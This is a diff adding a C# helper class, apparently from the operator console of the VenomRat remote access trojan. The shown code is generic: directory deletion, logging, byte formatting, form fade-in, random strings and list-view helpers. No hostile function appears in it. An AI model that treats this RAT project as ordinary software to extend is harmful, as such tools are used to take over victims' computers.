VenomRat

Helper/Methods.cs

@@ -0,0 +1,121 @@
+using System;
+using System.IO;
+using System.Text;
+using System.Threading.Tasks;
+using System.Windows.Forms;
+
+namespace Server.Helper;
+
+public static class Methods
+{
+	private const string Alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
+
+	public static Random Random = new Random();
+
+	private const int LVM_FIRST = 4096;
+
+	private const int LVM_SETITEMSTATE = 4139;
+
+	private const int WM_VSCROLL = 277;
+
+	private static readonly IntPtr SB_PAGEBOTTOM = new IntPtr(7);
+
+	public static void RecursiveDelete(string path)
+	{
+		DirectoryInfo directoryInfo = new DirectoryInfo(path);
+		if (!directoryInfo.Exists)
+		{
+			return;
+		}
+		DirectoryInfo[] directories = directoryInfo.GetDirectories();
+		for (int i = 0; i < directories.Length; i++)
+		{
+			RecursiveDelete(directories[i].FullName);
+		}
+		try
+		{
+			directoryInfo.Delete(recursive: true);
+		}
+		catch
+		{
+		}
+	}
+
+	public static void Log(string msg)
+	{
+		try
+		{
+			File.AppendAllText("C:\\Temp\\server.log", DateTime.Now.ToString() + " : " + msg + "\n");
+		}
+		catch (Exception)
+		{
+		}
+	}
+
+	public static void LogEx(Exception ex)
+	{
+		try
+		{
+			File.AppendAllText("C:\\Temp\\server_ex.log", DateTime.Now.ToString() + " : ex " + ex.Message + " \n" + ex.StackTrace + "\n " + ex.Source + "\n");
+		}
+		catch (Exception)
+		{
+		}
+	}
+
+	public static string BytesToString(long byteCount)
+	{
+		string[] array = new string[7] { "B", "KB", "MB", "GB", "TB", "PB", "EB" };
+		if (byteCount == 0L)
+		{
+			return "0" + array[0];
+		}
+		long num = Math.Abs(byteCount);
+		int num2 = Convert.ToInt32(Math.Floor(Math.Log(num, 1024.0)));
+		double num3 = Math.Round((double)num / Math.Pow(1024.0, num2), 1);
+		return (double)Math.Sign(byteCount) * num3 + array[num2];
+	}
+
+	public static async Task FadeIn(Form o, int interval = 80)
+	{
+		while (o.Opacity < 1.0)
+		{
+			await Task.Delay(interval);
+			o.Opacity += 0.05;
+		}
+	}
+
+	public static double DiffSeconds(DateTime startTime, DateTime endTime)
+	{
+		return Math.Abs(new TimeSpan(endTime.Ticks - startTime.Ticks).TotalSeconds);
+	}
+
+	public static string GetRandomString(int length)
+	{
+		StringBuilder stringBuilder = new StringBuilder(length);
+		for (int i = 0; i < length; i++)
+		{
+			stringBuilder.Append("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"[Random.Next("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".Length)]);
+		}
+		return stringBuilder.ToString();
+	}
+
+	public static int MakeWin32Long(short wLow, short wHigh)
+	{
+		return (wLow << 16) | wHigh;
+	}
+
+	public static void SetItemState(IntPtr handle, int itemIndex, int mask, int value)
+	{
+		NativeMethods.LVITEM lVITEM = default(NativeMethods.LVITEM);
+		lVITEM.stateMask = mask;
+		lVITEM.state = value;
+		NativeMethods.LVITEM lParam = lVITEM;
+		NativeMethods.SendMessageListViewItem(handle, 4139u, new IntPtr(itemIndex), ref lParam);
+	}
+
+	public static void ScrollToBottom(IntPtr handle)
+	{
+		NativeMethods.SendMessage(handle, 277u, SB_PAGEBOTTOM, IntPtr.Zero);
+	}
+}